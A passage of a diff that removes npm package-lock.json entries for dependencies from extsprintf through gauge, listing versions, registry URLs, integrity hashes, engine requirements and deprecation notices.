"dev": true, - "dependencies": { - "ajv": "^5.0.0" - }, - "engines": { - "node": ">= 4.3 < 5.0.0 || >= 5.10" - } - }, - "node_modules/extsprintf": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", - "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=", - "dev": true, - "engines": [ - "node >=0.6.0" - ] - }, - "node_modules/fast-deep-equal": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-1.1.0.tgz", - "integrity": "sha1-wFNHeBfIa1HaqFPIHgWbcz0CNhQ=", - "dev": true - }, - "node_modules/fast-json-stable-stringify": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.0.0.tgz", - "integrity": "sha1-1RQsDK7msRifh9OnYREGT4bIu/I=", - "dev": true - }, - "node_modules/fast-levenshtein": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", - "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=", - "dev": true - }, - "node_modules/fastparse": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/fastparse/-/fastparse-1.1.1.tgz", - "integrity": "sha1-0eJkOzipTXWDtHkGDmxK/8lAcfg=", - "dev": true - }, - "node_modules/faye-websocket": { - "version": "0.10.0", - "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.10.0.tgz", - "integrity": "sha1-TkkvjQTftviQA1B/btvy1QHnxvQ=", - "dev": true, - "dependencies": { - "websocket-driver": ">=0.5.1" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/fbjs": { - "version": "0.8.17", - "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.17.tgz", - "integrity": "sha1-xNWY6taUkRJlPWWIsBpc3Nn5D90=", - "dev": true, - "dependencies": { - "core-js": "^1.0.0", - "isomorphic-fetch": "^2.1.1", - "loose-envify": "^1.0.0", - "object-assign": "^4.1.0", - "promise": "^7.1.1", - "setimmediate": "^1.0.5", - "ua-parser-js": "^0.7.18" - } - }, - "node_modules/fbjs/node_modules/core-js": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-1.2.7.tgz", - "integrity": "sha1-ZSKUwUZR2yj6k70tX/KYOk8IxjY=", - "deprecated": "core-js@<3.23.3 is no longer maintained and not recommended for usage due to the number of issues. Because of the V8 engine whims, feature detection in old core-js versions could cause a slowdown up to 100x even if nothing is polyfilled. Some versions have web compatibility issues. Please, upgrade your dependencies to the actual version of core-js.", - "dev": true - }, - "node_modules/figgy-pudding": { - "version": "3.5.2", - "resolved": "https://registry.npmjs.org/figgy-pudding/-/figgy-pudding-3.5.2.tgz", - "integrity": "sha512-0btnI/H8f2pavGMN8w40mlSKOfTK2SVJmBfBeVIj3kNw0swwgzyRq0d5TJVOwodFmtvpPeWPN/MCcfuWF0Ezbw==", - "dev": true - }, - "node_modules/figures": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/figures/-/figures-2.0.0.tgz", - "integrity": "sha1-OrGi0qYsi/tDGgyUy3l6L84nyWI=", - "dev": true, - "dependencies": { - "escape-string-regexp": "^1.0.5" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/file-entry-cache": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-2.0.0.tgz", - "integrity": "sha1-w5KZDD5oR4PYOLjISkXYoEhFg2E=", - "dev": true, - "dependencies": { - "flat-cache": "^1.2.1", - "object-assign": "^4.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/file-loader": { - "version": "0.11.2", - "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-0.11.2.tgz", - "integrity": "sha1-T/HfKK84cZpgmAk7iMgscdF5SjQ=", - "dev": true, - "dependencies": { - "loader-utils": "^1.0.2" - } - }, - "node_modules/file-sync-cmp": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/file-sync-cmp/-/file-sync-cmp-0.1.1.tgz", - "integrity": "sha1-peeo/7+kk7Q7kju9TKiaU7Y7YSs=", - "dev": true - }, - "node_modules/file-type": { - "version": "7.7.1", - "resolved": "https://registry.npmjs.org/file-type/-/file-type-7.7.1.tgz", - "integrity": "sha512-bTrKkzzZI6wH+NXhyD3SOXtb2zXTw2SbwI2RxUlRcXVsnN7jNL5hJzVQLYv7FOQhxFkK4XWdAflEaWFpaLLWpQ==", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/file-uri-to-path": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", - "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==", - "dev": true, - "optional": true - }, - "node_modules/filename-regex": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/filename-regex/-/filename-regex-2.0.1.tgz", - "integrity": "sha1-wcS5vuPglyXdsQa3XB4wH+LxiyY=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/fill-range": { - "version": "2.2.4", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-2.2.4.tgz", - "integrity": "sha512-cnrcCbj01+j2gTG921VZPnHbjmdAf8oQV/iGeV2kZxGSyfYjjTyY79ErsK1WJWMpw6DaApEX72binqJE+/d+5Q==", - "dev": true, - "dependencies": { - "is-number": "^2.1.0", - "isobject": "^2.0.0", - "randomatic": "^3.0.0", - "repeat-element": "^1.1.2", - "repeat-string": "^1.5.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/find-cache-dir": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-1.0.0.tgz", - "integrity": "sha1-kojj6ePMN0hxfTnq3hfPcfww7m8=", - "dev": true, - "dependencies": { - "commondir": "^1.0.1", - "make-dir": "^1.0.0", - "pkg-dir": "^2.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/find-up": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz", - "integrity": "sha1-ay6YIrGizgpgq2TWEOzK1TyyTQ8=", - "dev": true, - "dependencies": { - "path-exists": "^2.0.0", - "pinkie-promise": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/findup-sync": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-0.3.0.tgz", - "integrity": "sha1-N5MKpdgWt3fANEXhlmzGeQpMCxY=", - "dev": true, - "dependencies": { - "glob": "~5.0.0" - }, - "engines": { - "node": ">= 0.6.0" - } - }, - "node_modules/findup-sync/node_modules/glob": { - "version": "5.0.15", - "resolved": "https://registry.npmjs.org/glob/-/glob-5.0.15.tgz", - "integrity": "sha1-G8k2ueAvSmA/zCIuz3Yz0wuLk7E=", - "dev": true, - "dependencies": { - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "2 || 3", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/flat-cache": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-1.3.0.tgz", - "integrity": "sha1-0wMLMrOBVPTjt+nHCfSQ9++XxIE=", - "dev": true, - "dependencies": { - "circular-json": "^0.3.1", - "del": "^2.0.2", - "graceful-fs": "^4.1.2", - "write": "^0.2.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/flatten": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/flatten/-/flatten-1.0.2.tgz", - "integrity": "sha1-2uRqnXj74lKSJYzB54CkHZXAN4I=", - "deprecated": "flatten is deprecated in favor of utility frameworks such as lodash.", - "dev": true, - "engines": { - "node": "*" - } - }, - "node_modules/flush-write-stream": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.0.3.tgz", - "integrity": "sha512-calZMC10u0FMUqoiunI2AiGIIUtUIvifNwkHhNupZH4cbNnW1Itkoh/Nf5HFYmDrwWPjrUxpkZT0KhuCq0jmGw==", - "dev": true, - "dependencies": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.4" - } - }, - "node_modules/fn-args": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/fn-args/-/fn-args-4.0.0.tgz", - "integrity": "sha512-M9XSagc92ejQhi+7kjpFPAO59xKbGRsbOg/9dfwSj84DfzB0pj+Q81DVD1pKr084Xf2oICwUNI0pCvGORmD9zg==", - "dev": true, - "engines": { - "node": ">=6" - } - }, - "node_modules/follow-redirects": { - "version": "1.5.10", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.5.10.tgz", - "integrity": "sha512-0V5l4Cizzvqt5D44aTXbFZz+FtyXV1vrDN6qrelxtfYQKW0KO0W2T/hkE8xvGa/540LkZlkaUjO4ailYTFtHVQ==", - "dev": true, - "dependencies": { - "debug": "=3.1.0" - }, - "engines": { - "node": ">=4.0" - } - }, - "node_modules/follow-redirects/node_modules/debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", - "dev": true, - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/for-in": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz", - "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/for-own": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/for-own/-/for-own-0.1.5.tgz", - "integrity": "sha1-UmXGgaTylNq78XyVCbZ2OqhFEM4=", - "dev": true, - "dependencies": { - "for-in": "^1.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/foreach": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/foreach/-/foreach-2.0.5.tgz", - "integrity": "sha1-C+4AUBiusmDQo6865ljdATbsG5k=", - "dev": true - }, - "node_modules/forever-agent": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", - "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=", - "dev": true, - "engines": { - "node": "*" - } - }, - "node_modules/form-data": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.2.tgz", - "integrity": "sha1-SXBJi+YEwgwAXU9cI67NIda0kJk=", - "dev": true, - "dependencies": { - "asynckit": "^0.4.0", - "combined-stream": "1.0.6", - "mime-types": "^2.1.12" - }, - "engines": { - "node": ">= 0.12" - } - }, - "node_modules/fragment-cache": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz", - "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=", - "dev": true, - "dependencies": { - "map-cache": "^0.2.2" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/from2": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz", - "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=", - "dev": true, - "dependencies": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.0" - } - }, - "node_modules/fs-constants": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", - "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==", - "dev": true - }, - "node_modules/fs-extra": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", - "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", - "dev": true, - "dependencies": { - "graceful-fs": "^4.2.0", - "jsonfile": "^4.0.0", - "universalify": "^0.1.0" - }, - "engines": { - "node": ">=6 <7 || >=8" - } - }, - "node_modules/fs-extra/node_modules/graceful-fs": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.0.tgz", - "integrity": "sha512-jpSvDPV4Cq/bgtpndIWbI5hmYxhQGHPC4d4cqBPb4DLniCfhJokdXhwhaDuLBGLQdvvRum/UiX6ECVIPvDXqdg==", - "dev": true - }, - "node_modules/fs-readdir-recursive": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz", - "integrity": "sha512-GNanXlVr2pf02+sPN40XN8HG+ePaNcvM0q5mZBd668Obwb0yD5GiUbZOFgwn8kGMY6I3mdyDJzieUy3PTYyTRA==", - "dev": true - }, - "node_modules/fs-write-stream-atomic": { - "version": "1.0.10", - "resolved": "https://registry.npmjs.org/fs-write-stream-atomic/-/fs-write-stream-atomic-1.0.10.tgz", - "integrity": "sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=", - "dev": true, - "dependencies": { - "graceful-fs": "^4.1.2", - "iferr": "^0.1.5", - "imurmurhash": "^0.1.4", - "readable-stream": "1 || 2" - } - }, - "node_modules/fs.realpath": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=", - "dev": true - }, - "node_modules/fsevents": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.4.tgz", - "integrity": "sha512-z8H8/diyk76B7q5wg+Ud0+CqzcAF3mBBI/bA5ne5zrRUUIvNkJY//D3BqyH571KuAC4Nr7Rw7CjWX4r0y9DvNg==", - "bundleDependencies": [ - "node-pre-gyp" - ], - "deprecated": "fsevents 1 will break on node v14+ and could be using insecure binaries. Upgrade to fsevents 2.", - "dev": true, - "hasInstallScript": true, - "optional": true, - "os": [ - "darwin" - ], - "dependencies": { - "nan": "^2.9.2", - "node-pre-gyp": "^0.10.0" - }, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/fsevents/node_modules/abbrev": { - "version": "1.1.1", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true - }, - "node_modules/fsevents/node_modules/ansi-regex": { - "version": "2.1.1", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/fsevents/node_modules/aproba": { - "version": "1.2.0", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true - }, - "node_modules/fsevents/node_modules/are-we-there-yet": { - "version": "1.1.4", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true, - "dependencies": { - "delegates": "^1.0.0", - "readable-stream": "^2.0.6" - } - }, - "node_modules/fsevents/node_modules/balanced-match": { - "version": "1.0.0", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true - }, - "node_modules/fsevents/node_modules/brace-expansion": { - "version": "1.1.11", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "dependencies": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "node_modules/fsevents/node_modules/chownr": { - "version": "1.0.1", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true - }, - "node_modules/fsevents/node_modules/code-point-at": { - "version": "1.1.0", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/fsevents/node_modules/concat-map": { - "version": "0.0.1", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true - }, - "node_modules/fsevents/node_modules/console-control-strings": { - "version": "1.1.0", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true - }, - "node_modules/fsevents/node_modules/core-util-is": { - "version": "1.0.2", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true - }, - "node_modules/fsevents/node_modules/debug": { - "version": "2.6.9", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/fsevents/node_modules/deep-extend": { - "version": "0.5.1", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "engines": { - "iojs": ">=1.0.0", - "node": ">=0.10.0" - } - }, - "node_modules/fsevents/node_modules/delegates": { - "version": "1.0.0", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true - }, - "node_modules/fsevents/node_modules/detect-libc": { - "version": "1.0.3", - "dev": true, - "inBundle": true, - "license": "Apache-2.0", - "optional": true, - "bin": { - "detect-libc": "bin/detect-libc.js" - }, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/fsevents/node_modules/fs-minipass": { - "version": "1.2.5", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true, - "dependencies": { - "minipass": "^2.2.1" - } - }, - "node_modules/fsevents/node_modules/fs.realpath": { - "version": "1.0.0", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true - }, - "node_modules/fsevents/node_modules/gauge": { - "version": "2.7.4", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true, - "dependencies": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" - } - }, - "node_modules/fsevents/node_modules/glob": { - "version": "7.1.2", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/fsevents/node_modules/has-unicode": { - "version": "2.0.1", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true - }, - "node_modules/fsevents/node_modules/iconv-lite": { - "version": "0.4.21", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "dependencies": { - "safer-buffer": "^2.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/fsevents/node_modules/ignore-walk": { - "version": "3.0.1", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true, - "dependencies": { - "minimatch": "^3.0.4" - } - }, - "node_modules/fsevents/node_modules/inflight": { - "version": "1.0.6", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true, - "dependencies": { - "once": "^1.3.0", - "wrappy": "1" - } - }, - "node_modules/fsevents/node_modules/inherits": { - "version": "2.0.3", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true - }, - "node_modules/fsevents/node_modules/ini": { - "version": "1.3.5", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true, - "engines": { - "node": "*" - } - }, - "node_modules/fsevents/node_modules/is-fullwidth-code-point": { - "version": "1.0.0", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "dependencies": { - "number-is-nan": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/fsevents/node_modules/isarray": { - "version": "1.0.0", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true - }, - "node_modules/fsevents/node_modules/minimatch": { - "version": "3.0.4", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true, - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, - "node_modules/fsevents/node_modules/minimist": { - "version": "0.0.8", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true - }, - "node_modules/fsevents/node_modules/minipass": { - "version": "2.2.4", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true, - "dependencies": { - "safe-buffer": "^5.1.1", - "yallist": "^3.0.0" - } - }, - "node_modules/fsevents/node_modules/minizlib": { - "version": "1.1.0", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "dependencies": { - "minipass": "^2.2.1" - } - }, - "node_modules/fsevents/node_modules/mkdirp": { - "version": "0.5.1", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "dependencies": { - "minimist": "0.0.8" - }, - "bin": { - "mkdirp": "bin/cmd.js" - } - }, - "node_modules/fsevents/node_modules/ms": { - "version": "2.0.0", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true - }, - "node_modules/fsevents/node_modules/needle": { - "version": "2.2.0", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "dependencies": { - "debug": "^2.1.2", - "iconv-lite": "^0.4.4", - "sax": "^1.2.4" - }, - "bin": { - "needle": "bin/needle" - }, - "engines": { - "node": ">= 0.10.x" - } - }, - "node_modules/fsevents/node_modules/node-pre-gyp": { - "version": "0.10.0", - "dev": true, - "inBundle": true, - "license": "BSD-3-Clause", - "optional": true, - "dependencies": { - "detect-libc": "^1.0.2", - "mkdirp": "^0.5.1", - "needle": "^2.2.0", - "nopt": "^4.0.1", - "npm-packlist": "^1.1.6", - "npmlog": "^4.0.2", - "rc": "^1.1.7", - "rimraf": "^2.6.1", - "semver": "^5.3.0", - "tar": "^4" - }, - "bin": { - "node-pre-gyp": "bin/node-pre-gyp" - } - }, - "node_modules/fsevents/node_modules/nopt": { - "version": "4.0.1", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true, - "dependencies": { - "abbrev": "1", - "osenv": "^0.1.4" - }, - "bin": { - "nopt": "bin/nopt.js" - } - }, - "node_modules/fsevents/node_modules/npm-bundled": { - "version": "1.0.3", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true - }, - "node_modules/fsevents/node_modules/npm-packlist": { - "version": "1.1.10", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true, - "dependencies": { - "ignore-walk": "^3.0.1", - "npm-bundled": "^1.0.1" - } - }, - "node_modules/fsevents/node_modules/npmlog": { - "version": "4.1.2", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true, - "dependencies": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" - } - }, - "node_modules/fsevents/node_modules/number-is-nan": { - "version": "1.0.1", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/fsevents/node_modules/object-assign": { - "version": "4.1.1", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/fsevents/node_modules/once": { - "version": "1.4.0", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true, - "dependencies": { - "wrappy": "1" - } - }, - "node_modules/fsevents/node_modules/os-homedir": { - "version": "1.0.2", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/fsevents/node_modules/os-tmpdir": { - "version": "1.0.2", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/fsevents/node_modules/osenv": { - "version": "0.1.5", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true, - "dependencies": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.0" - } - }, - "node_modules/fsevents/node_modules/path-is-absolute": { - "version": "1.0.1", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/fsevents/node_modules/process-nextick-args": { - "version": "2.0.0", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true - }, - "node_modules/fsevents/node_modules/rc": { - "version": "1.2.7", - "dev": true, - "inBundle": true, - "license": "(BSD-2-Clause OR MIT OR Apache-2.0)", - "optional": true, - "dependencies": { - "deep-extend": "^0.5.1", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" - }, - "bin": { - "rc": "cli.js" - } - }, - "node_modules/fsevents/node_modules/rc/node_modules/minimist": { - "version": "1.2.0", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true - }, - "node_modules/fsevents/node_modules/readable-stream": { - "version": "2.3.6", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "dependencies": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "node_modules/fsevents/node_modules/rimraf": { - "version": "2.6.2", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true, - "dependencies": { - "glob": "^7.0.5" - }, - "bin": { - "rimraf": "bin.js" - } - }, - "node_modules/fsevents/node_modules/safe-buffer": { - "version": "5.1.1", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true - }, - "node_modules/fsevents/node_modules/safer-buffer": { - "version": "2.1.2", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true - }, - "node_modules/fsevents/node_modules/sax": { - "version": "1.2.4", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true - }, - "node_modules/fsevents/node_modules/semver": { - "version": "5.5.0", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true, - "bin": { - "semver": "bin/semver" - } - }, - "node_modules/fsevents/node_modules/set-blocking": { - "version": "2.0.0", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true - }, - "node_modules/fsevents/node_modules/signal-exit": { - "version": "3.0.2", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true - }, - "node_modules/fsevents/node_modules/string_decoder": { - "version": "1.1.1", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "dependencies": { - "safe-buffer": "~5.1.0" - } - }, - "node_modules/fsevents/node_modules/string-width": { - "version": "1.0.2", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "dependencies": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/fsevents/node_modules/strip-ansi": { - "version": "3.0.1", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "dependencies": { - "ansi-regex": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/fsevents/node_modules/strip-json-comments": { - "version": "2.0.1", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/fsevents/node_modules/tar": { - "version": "4.4.1", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true, - "dependencies": { - "chownr": "^1.0.1", - "fs-minipass": "^1.2.5", - "minipass": "^2.2.4", - "minizlib": "^1.1.0", - "mkdirp": "^0.5.0", - "safe-buffer": "^5.1.1", - "yallist": "^3.0.2" - }, - "engines": { - "node": ">=4.5" - } - }, - "node_modules/fsevents/node_modules/util-deprecate": { - "version": "1.0.2", - "dev": true, - "inBundle": true, - "license": "MIT", - "optional": true - }, - "node_modules/fsevents/node_modules/wide-align": { - "version": "1.1.2", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true, - "dependencies": { - "string-width": "^1.0.2" - } - }, - "node_modules/fsevents/node_modules/wrappy": { - "version": "1.0.2", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true - }, - "node_modules/fsevents/node_modules/yallist": { - "version": "3.0.2", - "dev": true, - "inBundle": true, - "license": "ISC", - "optional": true - }, - "node_modules/fstream": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.11.tgz", - "integrity": "sha1-XB+x8RdHcRTwYyoOtLcbPLD9MXE=", - "dev": true, - "dependencies": { - "graceful-fs": "^4.1.2", - "inherits": "~2.0.0", - "mkdirp": ">=0.5 0", - "rimraf": "2" - }, - "engines": { - "node": ">=0.6" - } - }, - "node_modules/fullcalendar": { - "version": "3.6.2", - "resolved": "https://registry.npmjs.org/fullcalendar/-/fullcalendar-3.6.2.tgz", - "integrity": "sha1-ZJVudDG+OUs9UFsyf2suj2Kckdo=", - "dependencies": { - "jquery": "2 - 3", - "moment": "^2.9.0" - } - }, - "node_modules/function-bind": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", - "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", - "dev": true - }, - "node_modules/functional-red-black-tree": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", - "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=", - "dev": true - }, - "node_modules/gauge": { - "version": "2.7.4", - "resolved": "https://registry.npmjs.org/gauge/-/gauge-2.7.4.tgz", - "integrity": "sha1-LANAXHU4w51+s3sxcCLjJfsBi/c=", - "dev": true, - "dependencies": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" - } - }, - "node_modules/gauge/node_modules/ansi-regex": { - "version": "2.1.1", - "resolved": 